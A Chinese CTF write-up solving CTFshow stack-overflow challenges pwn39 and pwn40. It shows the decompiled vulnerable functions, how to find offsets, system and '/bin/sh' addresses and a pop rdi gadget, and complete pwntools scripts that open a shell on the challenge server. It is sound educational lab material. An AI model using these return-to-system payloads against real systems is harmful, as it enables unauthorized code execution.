CTFshow-pwn入门-栈溢出pwn39-pwn40

2023-12-27 17:14:41

pwn39

在这里插入图片描述
首先我们还是先将二级制文件托到虚拟机里面查看文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
文件依然是只开启了栈不可执行,canary和pie都没开。并且该文件是32位的,那我们就托到ida32中反编译一下吧。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts(asc_804876C);
  puts(asc_80487E0);
  puts(asc_804885C);
  puts(asc_80488E8);
  puts(asc_8048978);
  puts(asc_80489FC);
  puts(asc_8048A90);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
  puts("    * *************************************                           ");
  puts("Just easy ret2text&&32bit");
  ctfshow(&argc);
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}
int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

我们可以看到ctfshow函数中buf数组长度为14,但是需要都进去0x32长度的数据,显然一定会发生栈溢出,但是这次文件没有给我们后门函数,但是却hint函数中给了我们一个system函数和“/bin/sh”的字符串,我们就可以利用这两个,来构造出system(“/bin/sh”)来获取shell,与后门函数的效果是一样的。

编写exp

获得溢出长度

使用gdb中cyclic获得冗余字符,在使用r启动程序,将冗余字符填入程序,程序报错会返回一个地址,再使用cyclic -l命令即可获得溢出长度。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以看到,溢出长度为22。

拿到system函数的地址

我们可以使用objdump命令来获取plt表中各个函数的地址,进而轻松拿到system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x080483a0

拿到/bin/sh的地址

/bin/sh的地址我们可以直接再ida中点击/bin/sh然后跳转到data段,可以直接获得它的地址。
在这里插入图片描述
/bin/sh的地址为:0x08048750

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28273")

offset = 22
system_addr = 0x080483a0
binsh_addr = 0x08048750
# p32(1) 代表是system函数的返回地址,由于不需要返回到某个地方,所以直接使用p32(1)来顶替4个字节 
# 32位传参是栈传参,参数与函数栈帧隔了一个返回地址,且参数在栈帧之下
payload = offset * 'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

pwn40

在这里插入图片描述
首先还是将pwn文件下载下来,托到虚拟机里查看文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
可以看到该文件是64位的,并且只开启了栈不可执行,基本跟上道题目一样。那我们就pwn文件托到ida64中反编译一下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts(asc_400828);
  puts(asc_4008A0);
  puts(asc_400920);
  puts(asc_4009B0);
  puts(asc_400A40);
  puts(asc_400AC8);
  puts(asc_400B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
  puts("    * *************************************                           ");
  puts("Just easy ret2text&&64bit");
  ctfshow();
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0, buf, 0x32uLL);
}
int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

这道题基本和上道32位的题目是一模一样的,思路也一样,唯一不同的是我们64位在进行传参时与32位不一样,因为32位是栈传参,而64位是寄存器传参+栈传参,传送的前几个参数一般使用寄存器,把参数传到寄存器中即可,若参数过多,寄存器有限会继续使用栈传参。

具体64位传参方式如下:
当参数少于7个时, 参数从左到右放?寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前??样, 但后?的依次从 “右向左” 放?栈中,和32位汇编?样。

那就再简单重复一下这道题的思路吧,通过ctfshow函数计算处buf溢出长度,然后利用栈溢出将ctfshow函数的返回地址修改为system函数的返回地址,然后将/bin/sh参数的地址传入rdi寄存器中即可。

编写exp

计算溢出长度

在这里插入图片描述
注意到,buf在栈中的位置是在rbp上面Ah=10长度处,加上rbp本身的所占栈单元的长度8(64位为8,32位为4),即:0xa + 0x8

拿到system函数的地址

还是使用objdump来查看文件的plt表来找system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x0000000000400520

拿到/bin/sh的地址

直接在ida64中点击/bin/sh即可跳转至data段,从而拿到其地址
在这里插入图片描述
/bin/sh的地址为:0x0000000000400808

拿到pop rdi;ret的地址

由于需要传参所以我们还需要将参数pop到rdi中,使用ret再继续取栈中我们填入的恶意地址继续控制程序的执行流。
注:ret的作用为:pop eip/rip;
在这里插入图片描述
pop rdi;ret 的地址为:0x00000000004007e3
ret的地址为:0x00000000004004fe

ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章
https://www.cnblogs.com/ZIKH26/articles/15996874.html
https://blog.csdn.net/hu_c_t_f/article/details/131902515

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28103")

offset = 0xa + 0x8
system_addr = 0x0000000000400520
binsh_addr = 0x0000000000400808
ret_addr = 0x00000000004004fe
pop_rdi_addr = 0x00000000004007e3

payload = offset * 'a' + p64(pop_rdi_addr) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

文章来源:https://blog.csdn.net/weixin_52635170/article/details/135245163
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。